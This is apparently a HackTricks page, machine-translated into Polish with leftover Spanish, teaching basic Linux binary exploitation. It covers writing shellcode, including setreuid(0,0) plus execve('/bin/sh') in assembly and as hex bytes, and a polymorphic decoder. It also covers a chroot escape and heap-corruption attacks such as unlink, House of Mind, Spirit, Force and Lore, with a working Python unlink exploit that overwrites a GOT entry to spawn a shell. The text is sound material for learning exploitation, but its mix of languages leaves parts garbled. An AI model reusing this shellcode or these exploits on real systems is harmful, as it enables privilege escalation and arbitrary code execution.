33 KiB
Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
2.SHELLCODE
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”
setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1
xor eax, eax ; czyścimy eax
xor ebx, ebx ; ebx = 0, ponieważ nie ma argumentu do przekazania
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Wykonaj syscall
nasm -f elf assembly.asm —> Zwraca nam .o
ld assembly.o -o shellcodeout —> Daje nam wykonywalny plik utworzony z kodu assemblera i możemy uzyskać opcodes za pomocą objdump
objdump -d -Mintel ./shellcodeout —> Aby zobaczyć, że to rzeczywiście nasza shellcode i uzyskać OpCodes
Sprawdź, czy shellcode działa
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
Aby zobaczyć, że wywołania systemowe są realizowane poprawnie, należy skompilować powyższy program, a wywołania systemowe powinny pojawić się w strace ./PROGRAMA_COMPILADO
Podczas tworzenia shellcode'ów można zastosować trik. Pierwsza instrukcja to skok do wywołania. Wywołanie (call) odwołuje się do oryginalnego kodu i dodatkowo umieszcza EIP na stosie. Po instrukcji call umieściliśmy potrzebny ciąg, dzięki czemu z tym EIP możemy wskazać na ciąg i kontynuować wykonywanie kodu.
EJ TRIK (/bin/sh):
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
EJ używając Stosu(/bin/sh):
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
EJ FNSTENV:
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
Egg Huter:
Składa się z małego kodu, który przeszukuje strony pamięci związane z procesem w poszukiwaniu shellcode tam przechowywanego (szuka jakiegoś podpisu umieszczonego w shellcode). Przydatne w przypadkach, gdy mamy tylko małą przestrzeń na wstrzyknięcie kodu.
Shellcodes polimórficzne
Składają się z zaszyfrowanych shelli, które mają mały kod, który je deszyfruje i przeskakuje do niego, używając sztuczki Call-Pop, to byłby przykład szyfrowania cezara:
global _start
_start:
jmp short magic
init:
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
call init
sc:
;Aquí va el shellcode
5.Métodos complementarios
Technika Murat
W systemie Linux wszystkie programy są mapowane zaczynając od 0xbfffffff
Patrząc na to, jak budowana jest stos nowego procesu w systemie Linux, można opracować exploit w taki sposób, aby program był uruchamiany w środowisku, którego jedyną zmienną byłby shellcode. Adres ten można obliczyć jako: addr = 0xbfffffff - 4 - strlen(NAZWA_pełnego_programu) - strlen(shellcode)
W ten sposób można łatwo uzyskać adres, w którym znajduje się zmienna środowiskowa z shellcode.
Można to zrobić dzięki funkcji execle, która pozwala na stworzenie środowiska, które ma tylko te zmienne środowiskowe, które są pożądane.
Format Strings to Buffer Overflows
sprintf przenosi sformatowany ciąg do zmiennej. Dlatego można nadużyć formatowania ciągu, aby spowodować przepełnienie bufora w zmiennej, do której kopiowana jest zawartość.
Na przykład, ładunek %.44xAAAA
zapisze 44B+"AAAA" w zmiennej, co może spowodować przepełnienie bufora.
__atexit Structures
{% hint style="danger" %} Obecnie bardzo dziwne jest wykorzystanie tego. {% endhint %}
atexit()
to funkcja, do której przekazywane są inne funkcje jako parametry. Te funkcje będą wykonywane podczas wykonywania exit()
lub powrotu z main.
Jeśli możesz zmodyfikować adres dowolnej z tych funkcji, aby wskazywał na shellcode, na przykład, zyskasz kontrolę nad procesem, ale obecnie jest to bardziej skomplikowane.
Obecnie adresy funkcji do wykonania są ukryte za kilkoma strukturami, a ostatecznie adresy, na które wskazują, nie są adresami funkcji, ale są szyfrowane za pomocą XOR i przesunięć z losowym kluczem. Dlatego obecnie ten wektor ataku jest niewiele użyteczny przynajmniej na x86 i x64_86.
Funkcja szyfrująca to PTR_MANGLE
. Inne architektury takie jak m68k, mips32, mips64, aarch64, arm, hppa... nie implementują funkcji szyfrującej, ponieważ zwraca to samo, co otrzymała jako wejście. Tak więc te architektury byłyby atakowalne przez ten wektor.
setjmp() & longjmp()
{% hint style="danger" %} Obecnie bardzo dziwne jest wykorzystanie tego. {% endhint %}
Setjmp()
pozwala na zapisanie kontekstu (rejestrów)
longjmp()
pozwala na przywrócenie kontekstu.
Zapisane rejestry to: EBX, ESI, EDI, ESP, EIP, EBP
Co się dzieje, to to, że EIP i ESP są przekazywane przez funkcję PTR_MANGLE
, więc architektury podatne na ten atak są takie same jak powyżej.
Są one przydatne do odzyskiwania błędów lub przerwań.
Jednak, z tego co przeczytałem, inne rejestry nie są chronione, więc jeśli w funkcji wywoływanej znajduje się call ebx
, call esi
lub call edi
, kontrola może być przejęta. Można również zmodyfikować EBP, aby zmodyfikować ESP.
VTable i VPTR w C++
Każda klasa ma Vtable, która jest tablicą wskaźników do metod.
Każdy obiekt klasy ma VPtr, który jest wskaźnikiem do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli uda się nadpisać VPtr, można go zmodyfikować, aby wskazywał na metodę zastępczą, tak aby wykonanie funkcji prowadziło do shellcode.
Medidas preventivas y evasiones
Zastąpienie Libsafe
Aktywuje się za pomocą: LD_PRELOAD=/lib/libsafe.so.2
lub
“/lib/libsave.so.2” > /etc/ld.so.preload
Przechwytywane są wywołania do niektórych niebezpiecznych funkcji przez inne bezpieczne. Nie jest to standaryzowane. (tylko dla x86, nie dla kompilacji z -fomit-frame-pointer, nie dla kompilacji statycznych, nie wszystkie funkcje podatne stają się bezpieczne, a LD_PRELOAD nie działa w binariach z suid).
ASCII Armored Address Space
Polega na załadowaniu bibliotek współdzielonych od 0x00000000 do 0x00ffffff, aby zawsze był bajt 0x00. Jednak to naprawdę nie zatrzymuje prawie żadnego ataku, a tym bardziej w little endian.
ret2plt
Polega na przeprowadzeniu ROP w taki sposób, aby wywołać funkcję strcpy@plt (z plt) i wskazać na wpis w GOT oraz skopiować pierwszy bajt funkcji, którą chce się wywołać (system()). Następnie robi się to samo, wskazując na GOT+1 i kopiując 2. bajt system()… Na końcu wywołuje się adres zapisany w GOT, który będzie system().
Klatki z chroot()
debootstrap -arch=i386 hardy /home/user —> Instaluje podstawowy system w określonym podkatalogu
Administrator może wyjść z jednej z tych klatek, wykonując: mkdir foo; chroot foo; cd ..
Instrumentacja kodu
Valgrind —> Szuka błędów
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Exploits básicos
Przydzielony kawałek
prev_size |
size | —Nagłówek
*mem | Dane
Wolny kawałek
prev_size |
size |
*fd | Wskaźnik do następnego kawałka
*bk | Wskaźnik do poprzedniego kawałka —Nagłówek
*mem | Dane
Wolne kawałki znajdują się na podwójnie powiązanej liście (bin) i nigdy nie mogą być dwa wolne kawałki obok siebie (są łączone).
W "size" są bity, aby wskazać: Czy poprzedni kawałek jest w użyciu, czy kawałek został przydzielony za pomocą mmap() i czy kawałek należy do głównej areny.
Jeśli podczas zwalniania kawałka którykolwiek z sąsiednich jest wolny, są one łączone za pomocą makra unlink() i nowy większy kawałek jest przekazywany do frontlink(), aby wstawił odpowiedni bin.
unlink(){
BK = P->bk; —> BK nowego kawałka to ten, który miał już wcześniej wolny
FD = P->fd; —> FD nowego kawałka to ten, który miał już wcześniej wolny
FD->bk = BK; —> BK następnego kawałka wskazuje na nowy kawałek
BK->fd = FD; —> FD poprzedniego kawałka wskazuje na nowy kawałek
}
Dlatego, jeśli uda nam się zmodyfikować P->bk z adresem shellcode i P->fd z adresem do wpisu w GOT lub DTORS minus 12, osiągamy:
BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
I w ten sposób shellcode zostanie wykonany po zakończeniu programu.
Dodatkowo, 4. instrukcja unlink() zapisuje coś, a shellcode musi być naprawiona dla tego:
BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> To powoduje zapisanie 4 bajtów od 8. bajtu shellcode, więc pierwsza instrukcja shellcode musi być jmp, aby to przeskoczyć i przejść do nops, które prowadzą do reszty shellcode.
W związku z tym exploit jest tworzony:
W buffer1 umieszczamy shellcode, zaczynając od jmp, aby trafić w nops lub w resztę shellcode.
Po shellcode dodajemy wypełnienie, aż dotrzemy do pola prev_size i size następnego kawałka. W tych miejscach umieszczamy 0xfffffff0 (w taki sposób, aby nadpisać prev_size, aby miał bit wskazujący, że jest wolny) i “-4“(0xfffffffc) w size (aby, gdy sprawdzi w 3. kawałku, czy 2. był w rzeczywistości wolny, poszło do zmodyfikowanego prev_size, które powie, że jest wolny) -> Tak więc, gdy free() zbada, pójdzie do size 3. kawałka, ale w rzeczywistości pójdzie do 2. - 4 i pomyśli, że 2. kawałek jest wolny. A następnie wywoła unlink().
Podczas wywoływania unlink() użyje jako P->fd pierwszych danych 2. kawałka, więc tam wprowadzi adres, który chce nadpisać - 12 (ponieważ w FD->bk doda 12 do zapisanej w FD adresu). A w tym adresie wprowadzi drugi adres, który znajdzie w 2. kawałku, który nas interesuje, aby był adresem do shellcode (fałszywe P->bk).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bajtów wypełnienia
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interesuje, aby bit wskazujący, że poprzedni kawałek jest wolny, był ustawiony na 1
fake_size = pack("<I”, 0xfffffffc) #-4, aby myślał, że “size” 3. kawałka jest 4 bajty wstecz (wskazuje na prev_size), ponieważ tam sprawdza, czy 2. kawałek jest wolny
addr_sc = pack("<I", 0x0804a008 + 8) #Na początku ładunku umieścimy 8 bajtów wypełnienia
got_free = pack("<I", 0x08048300 - 12) #Adres free() w plt-12 (będzie to adres, który zostanie nadpisany, aby uruchomić shellcode przy 2. wywołaniu free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Jak już powiedziano, ładunek zaczyna się od 8 bajtów wypełnienia, bo tak
payload += prev_size + fake_size + got_free + addr_sc #Modyfikujemy 2. kawałek, got_free wskazuje, gdzie zapiszemy adres addr_sc + 12
os.system("./8.3.o " + payload)
unset() zwalniając w odwrotnej kolejności (wargame)
Kontrolujemy 3 kolejne kawałki i są one zwalniane w odwrotnej kolejności do zarezerwowanych.
W tym przypadku:
W kawałku c umieszczamy shellcode
Kawałek a używamy do nadpisania b w taki sposób, aby size miało bit PREV_INUSE wyłączony, aby myślał, że kawałek a jest wolny.
Dodatkowo, nadpisujemy w nagłówku b size, aby wynosiło -4.
W ten sposób program pomyśli, że “a” jest wolne i w binie, więc wywoła unlink() w celu odłączenia go. Jednak, ponieważ nagłówek PREV_SIZE wynosi -4, pomyśli, że kawałek “a” w rzeczywistości zaczyna się w b+4. To znaczy, wywoła unlink() na kawałku, który zaczyna się w b+4, więc w b+12 będzie wskaźnik “fd”, a w b+16 będzie wskaźnik “bk”.
W ten sposób, jeśli w bk umieścimy adres do shellcode, a w fd umieścimy adres do funkcji “puts()”-12, mamy nasz ładunek.
Technika Frontlink
Nazywa się frontlink, gdy zwalnia się coś i żaden z jego sąsiednich kawałków nie jest wolny, nie wywołuje się unlink(), lecz bezpośrednio wywołuje frontlink().
Przydatna podatność, gdy malloc, który jest atakowany, nigdy nie jest zwalniany (free()).
Wymaga:
Bufora, który może być przepełniony za pomocą funkcji wejściowej
Bufora przylegającego do tego, który musi być zwolniony i którego pole fd nagłówka zostanie zmodyfikowane dzięki przepełnieniu poprzedniego bufora
Bufora do zwolnienia o rozmiarze większym niż 512, ale mniejszym niż poprzedni bufor
Bufora zadeklarowanego przed krokiem 3, który pozwoli na nadpisanie prev_size tego
W ten sposób, osiągając nadpisanie w dwóch mallocach w sposób niekontrolowany i w jednym w sposób kontrolowany, ale tylko ten jeden jest zwalniany, możemy stworzyć exploit.
Podatność double free()
Jeśli wywoła się dwa razy free() z tym samym wskaźnikiem, pozostają dwa biny wskazujące na ten sam adres.
W przypadku chęci ponownego użycia jednego, zostanie przypisany bez problemów. W przypadku chęci użycia drugiego, zostanie przypisany ten sam obszar, przez co będziemy mieli wskaźniki “fd” i “bk” fałszywe z danymi, które zapisze poprzednia rezerwacja.
After free()
Wcześniej zwolniony wskaźnik jest używany ponownie bez kontroli.
8 Heap Overflows: Exploits avanzados
Techniki Unlink() i FrontLink() zostały usunięte po modyfikacji funkcji unlink().
The house of mind
Wystarczy jedno wywołanie free(), aby spowodować wykonanie dowolnego kodu. Ważne jest, aby znaleźć drugi kawałek, który może być przepełniony przez wcześniejszy i zwolniony.
Wywołanie free() powoduje wywołanie public_fREe(mem), co robi:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mem); —> Zwraca wskaźnik do adresu, w którym zaczyna się kawałek (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
W [1] sprawdza pole size bit NON_MAIN_ARENA, które można zmienić, aby sprawdzenie zwróciło true i wykonało heap_for_ptr(), które wykonuje and na “mem”, pozostawiając 2.5 najmniej znaczące bajty na 0 (w naszym przypadku z 0x0804a000 pozostawia 0x08000000) i uzyskuje dostęp do 0x08000000->ar_ptr (jakby to był struct heap_info)
W ten sposób, jeśli możemy kontrolować kawałek na przykład w 0x0804a000 i ma być zwolniony kawałek w 0x081002a0, możemy dotrzeć do adresu 0x08100000 i zapisać, co chcemy, na przykład 0x0804a000. Gdy ten drugi kawałek zostanie zwolniony, okaże się, że heap_for_ptr(ptr)->ar_ptr zwraca to, co zapisaliśmy w 0x08100000 (ponieważ stosuje się do 0x081002a0 and, które widzieliśmy wcześniej, a z tego uzyskuje się wartość 4 pierwszych bajtów, ar_ptr)
W ten sposób wywołuje się _int_free(ar_ptr, mem), to znaczy, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Jak widzieliśmy wcześniej, możemy kontrolować wartość av, ponieważ to, co zapisaliśmy w kawałku, który ma być zwolniony.
Tak jak definiuje unsorted_chunks, wiemy, że:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Dlatego, jeśli w av->bins[2] zapiszemy wartość __DTOR_END__-12, w ostatniej instrukcji zapisze się w __DTOR_END__ adres drugiego kawałka.
To znaczy, w pierwszym kawałku musimy na początku wielokrotnie umieścić adres __DTOR_END__-12, ponieważ stamtąd weźmie av->bins[2]
W adresie, w którym wyląduje adres drugiego kawałka z ostatnimi 5 zerami, należy zapisać adres do tego pierwszego kawałka, aby heap_for_ptr() myślał, że ar_ptr jest na początku pierwszego kawałka i wyciągnie stamtąd av->bins[2]
W drugim kawałku i dzięki pierwszemu nadpisujemy prev_size z jump 0x0c i size czymś, aby aktywować -> NON_MAIN_ARENA
Następnie w kawałku 2 umieszczamy mnóstwo nops i na końcu shellcode.
W ten sposób wywoła się _int_free(TROZO1, TROZO2) i wykona instrukcje, aby zapisać w __DTOR_END__ adres prev_size kawałka 2, który przeskoczy do shellcode.
Aby zastosować tę technikę, należy spełnić kilka dodatkowych wymagań, które nieco komplikują ładunek.
Ta technika nie jest już stosowana, ponieważ zastosowano prawie tę samą łatkę, co dla unlink. Porównuje się, czy nowe miejsce, na które wskazuje, również wskazuje na niego.
Fastbin
Jest to wariant The house of mind
Interesuje nas, aby wykonać następujący kod, do którego dochodzi po pierwszym sprawdzeniu funkcji _int_free()
fb = &(av->fastbins[fastbin_index(size)] —> Gdzie fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
W ten sposób, jeśli umieścimy w “fb” adres funkcji w GOT, w tym adresie umieścimy adres do nadpisanego kawałka. Aby to zrobić, konieczne będzie, aby arena była blisko adresów dtors. Dokładniej, aby av->max_fast znajdowało się w adresie, który zamierzamy nadpisać.
Ponieważ w The House of Mind widzieliśmy, że kontrolowaliśmy pozycję av.
Więc jeśli w polu size umieścimy rozmiar 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() zwróci fastbins[-1], co wskaże na av->max_fast
W tym przypadku av->max_fast będzie adresem, który zostanie nadpisany (nie tym, na który wskazuje, lecz ta pozycja będzie nadpisana).
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 8, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops).
Dodatkowo, ten sam fałszywy kawałek musi być mniejszy niż av->system_mem. av->system_mem znajduje się 1848 bajtów dalej.
Z powodu zer w _DTOR_END_ i niewielkiej liczby adresów w GOT, żaden z adresów w tych sekcjach nie nadaje się do nadpisania, więc zobaczmy, jak zastosować fastbin do ataku na stos.
Innym sposobem ataku jest przekierowanie av do stosu.
Jeśli zmodyfikujemy rozmiar, aby wynosił 16 zamiast 8, wtedy: fastbin_index() zwróci fastbins[0] i możemy to wykorzystać do nadpisania stosu.
Aby to zrobić, nie może być żadnego canary ani dziwnych wartości na stosie, w rzeczywistości musimy znajdować się w tym: 4 bajty zerowe + EBP + RET
4 bajty zerowe są potrzebne, aby av znajdowało się pod tym adresem, a pierwszy element av to mutex, który musi wynosić 0.
av->max_fast będzie EBP i będzie wartością, która posłuży nam do ominięcia ograniczeń.
W av->fastbins[0] zostanie nadpisany adresem p i będzie RET, w ten sposób przeskoczy do shellcode.
Dodatkowo, w av->system_mem (1484 bajty powyżej pozycji na stosie) będzie sporo śmieci, które pozwolą nam ominąć przeprowadzane sprawdzenie.
Dodatkowo musi być spełnione, że kawałek przylegający do zwolnionego musi być większy niż 8 -> Ponieważ powiedzieliśmy, że rozmiar zwolnionego kawałka wynosi 16, w tym fałszywym kawałku musimy umieścić tylko rozmiar większy niż 8 (ponieważ dodatkowo shellcode będzie w zwolnionym kawałku, na początku trzeba umieścić jmp, który trafi w nops, które są po polu size nowego fałszywego kawałka).
The House of Spirit
W tym przypadku staramy się mieć wskaźnik do malloc, który może być zmieniany przez atakującego (np. wskaźnik znajduje się na stosie pod potencjalnym przepełnieniem zmiennej).
W ten sposób moglibyśmy sprawić, że ten wskaźnik wskazywałby, gdziekolwiek byśmy chcieli. Jednak nie każde miejsce jest ważne, rozmiar fałszywego kawałka musi być mniejszy niż av->max_fast i bardziej konkretnie równy rozmiarowi żądanym w przyszłym wywołaniu malloc()+8. Dlatego, jeśli wiemy, że po tym podatnym wskaźniku wywoływane jest malloc(40), rozmiar fałszywego kawałka musi wynosić 48.
Na przykład, jeśli program pytałby użytkownika o liczbę, moglibyśmy wprowadzić 48 i skierować wskaźnik malloc do następnych 4 bajtów (które mogłyby należeć do EBP z nadzieją, że 48 znajduje się za nim, jakby to była nagłówek size). Dodatkowo, adres ptr-4+48 musi spełniać kilka warunków (w tym przypadku ptr=EBP), to znaczy, 8 < ptr-4+48 < av->system_mem.
Jeśli to zostanie spełnione, gdy wywołane zostanie następne malloc, które powiedzieliśmy, że to malloc(40), zostanie przypisane jako adres adresu EBP. Jeśli atakujący również może kontrolować, co jest zapisywane w tym malloc, może nadpisać zarówno EBP, jak i EIP dowolnym adresem, który chce.
Myślę, że tak jest, ponieważ w ten sposób, gdy to zwolni free(), zapamięta, że w adresie, na który wskazuje EBP stosu, znajduje się kawałek o idealnym rozmiarze dla nowego malloc(), który chce być zarezerwowany, więc przypisuje ten adres.
The House of Force
Wymagane jest:
- Przepełnienie kawałka, które pozwala na nadpisanie wilderness
- Wywołanie malloc() z rozmiarem określonym przez użytkownika
- Wywołanie malloc(), których dane mogą być definiowane przez użytkownika
Pierwsze, co się robi, to nadpisanie rozmiaru kawałka wilderness bardzo dużą wartością (0xffffffff), w ten sposób każda prośba o pamięć wystarczająco dużą będzie traktowana w _int_malloc() bez potrzeby rozszerzania heap.
Drugie to zmiana av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego, jak stos. W av->top umieścimy &EIP - 8.
Musimy nadpisać av->top, aby wskazywał na obszar pamięci pod kontrolą atakującego:
victim = av->top;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
Victim zbiera wartość adresu aktualnego kawałka wilderness (aktualny av->top), a remainder to dokładnie suma tego adresu i ilości bajtów żądanych przez malloc(). Dlatego, jeśli &EIP-8 znajduje się w 0xbffff224, a av->top zawiera 0x080c2788, to ilość, którą musimy zarezerwować w kontrolowanym malloc, aby av->top wskazywał na $EIP-8 dla następnego malloc() wyniesie:
0xbffff224 - 0x080c2788 = 3086207644.
W ten sposób w av->top zostanie zapisany zmieniony wartość, a następny malloc będzie wskazywał na EIP i będzie mógł go nadpisać.
Ważne jest, aby rozmiar nowego kawałka wilderness był większy niż żądanie złożone przez ostatni malloc(). To znaczy, jeśli wilderness wskazuje na &EIP-8, rozmiar znajdzie się dokładnie w polu EBP stosu.
The House of Lore
Korupcja SmallBin
Zwolnione kawałki są wprowadzane do binu w zależności od ich rozmiaru. Ale zanim zostaną wprowadzone, są przechowywane w unsorted bins. Kawałek jest zwalniany, nie jest od razu umieszczany w swoim binie, lecz pozostaje w unsorted bins. Następnie, jeśli zarezerwowany zostanie nowy kawałek, a poprzedni zwolniony może być użyty, zostanie zwrócony, ale jeśli zarezerwowany zostanie większy, zwolniony kawałek w unsorted bins zostanie umieszczony w odpowiednim binie.
Aby osiągnąć kod podatny, żądanie pamięci musi być większe niż av->max_fast (72 zazwyczaj) i mniejsze niż MIN_LARGE_SIZE (512).
Jeśli w binach znajduje się kawałek o odpowiednim rozmiarze do tego, co jest żądane, zostanie zwrócony po odłączeniu:
bck = victim->bk; Wskazuje na poprzedni kawałek, to jedyna informacja, którą możemy zmienić.
bin->bk = bck; Przedostatni kawałek staje się ostatnim, jeśli bck wskazuje na stos, następny zarezerwowany kawałek otrzyma ten adres
bck->fd = bin; Lista jest zamykana, sprawiając, że ten wskazuje na bin
Wymaga:
Aby zarezerwować dwa malloc, tak aby do pierwszego można było przepełnić po tym, jak drugi został zwolniony i wprowadzony do swojego binu (to znaczy, aby zarezerwować malloc większy niż drugi kawałek przed przepełnieniem)
Aby zarezerwowany malloc, któremu nadano adres wybrany przez atakującego, był kontrolowany przez atakującego.
Celem jest następujące: jeśli możemy przepełnić heap, który ma pod sobą już zwolniony kawałek i w swoim binie, możemy zmienić jego wskaźnik bk. Jeśli zmienimy jego wskaźnik bk i ten kawałek stanie się pierwszym w liście bin, a zostanie zarezerwowany, bin zostanie oszukany i powie, że ostatni kawałek listy (następny do zaoferowania) znajduje się pod fałszywym adresem, który umieściliśmy (na stosie lub GOT, na przykład). W ten sposób, jeśli ponownie zarezerwowany zostanie inny kawałek, a atakujący ma do niego dostęp, otrzyma kawałek w pożądanej pozycji i będzie mógł w nim pisać.
Po zwolnieniu zmodyfikowanego kawałka konieczne jest, aby zarezerwowany został kawałek większy niż zwolniony, w ten sposób zmodyfikowany kawałek wyjdzie z unsorted bins i zostanie wprowadzony do swojego binu.
Gdy już będzie w swoim binie, nadszedł czas, aby zmodyfikować jego wskaźnik bk za pomocą przepełnienia, aby wskazywał na adres, który chcemy nadpisać.
W ten sposób bin będzie musiał czekać na wywołanie malloc() wystarczająco wiele razy, aby ponownie użyć zmodyfikowanego binu i oszukać bin, sprawiając, że następny kawałek znajduje się pod fałszywym adresem. A następnie zostanie zwrócony kawałek, który nas interesuje.
Aby podatność została wykonana jak najszybciej, idealnie byłoby: rezerwacja podatnego kawałka, rezerwacja kawałka, który zostanie zmodyfikowany, zwolnienie tego kawałka, rezerwacja kawałka większego, który zostanie zmodyfikowany, zmodyfikowanie kawałka (podatność), rezerwacja kawałka o tym samym rozmiarze co zmodyfikowany i rezerwacja drugiego kawałka o tym samym rozmiarze, a ten będzie wskazywał na wybrany adres.
Aby chronić ten atak, zastosowano typowe sprawdzenie, że kawałek “nie” jest fałszywy: sprawdza się, czy bck->fd wskazuje na victim. To znaczy, w naszym przypadku, czy wskaźnik fd* fałszywego kawałka wskazywanego na stosie wskazuje na victim. Aby obejść tę ochronę, atakujący powinien być w stanie w jakiś sposób (prawdopodobnie przez stos) zapisać w odpowiednim adresie adres victim. Aby w ten sposób wyglądało to jak prawdziwy kawałek.
Korupcja LargeBin
Wymagane są te same wymagania, co wcześniej i jeszcze kilka, dodatkowo zarezerwowane kawałki muszą być większe niż 512.
Atak jest jak poprzedni, to znaczy, trzeba zmodyfikować wskaźnik bk i potrzebne są wszystkie te wywołania malloc(), ale dodatkowo trzeba zmodyfikować rozmiar zmodyfikowanego kawałka w taki sposób, aby ten rozmiar - nb był < MINSIZE.
Na przykład, ustawi to rozmiar na 1552, aby 1552 - 1544 = 8 < MINSIZE (odejmowanie nie może być ujemne, ponieważ porównuje się unsigned)
Dodatkowo wprowadzono łatkę, aby to jeszcze bardziej skomplikować.
Heap Spraying
Zasadniczo polega na rezerwowaniu całej możliwej pamięci dla heapów i wypełnianiu ich poduszką nops zakończoną shellcode. Dodatkowo, jako poduszkę używa się 0x0c. Ponieważ spróbuje się przeskoczyć do adresu 0x0c0c0c0c, a więc, jeśli nadpisze się jakiś wskaźnik, do którego się wezwie, z tą poduszką, przeskoczy się tam. Zasadniczo taktyka polega na rezerwowaniu jak najwięcej, aby zobaczyć, czy nadpisze się jakiś wskaźnik i przeskoczy do 0x0c0c0c0c, mając nadzieję, że tam będą nops.
Heap Feng Shui
Polega na tym, aby za pomocą rezerwacji i zwolnień zasadzić pamięć w taki sposób, aby między kawałkami zarezerwowanymi znajdowały się kawałki wolne. Bufor do przepełnienia znajdzie się w jednym z jajek.
objdump -d wykonawczy —> Disas funkcje
objdump -d ./PROGRAMA | grep FUNKCJA —> Uzyskaj adres funkcji
objdump -d -Mintel ./shellcodeout —> Aby zobaczyć, że to rzeczywiście nasza shellcode i wyciągnąć OpCodes
objdump -t ./exec | grep varBss —> Tabela symboli, aby uzyskać adresy zmiennych i funkcji
objdump -TR ./exec | grep exit(func lib) —> Aby uzyskać adresy funkcji z bibliotek (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Wyciąga adres puts do nadpisania w GOT
objdump -D ./exec —> Disas WSZYSTKO do wpisów w plt
objdump -p -/exec
Info functions strncmp —> Info funkcji w gdb
Ciekawe kursy
Referencje
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się sztuczkami hackingowymi, przesyłając PR do HackTricks i HackTricks Cloud repozytoriów github.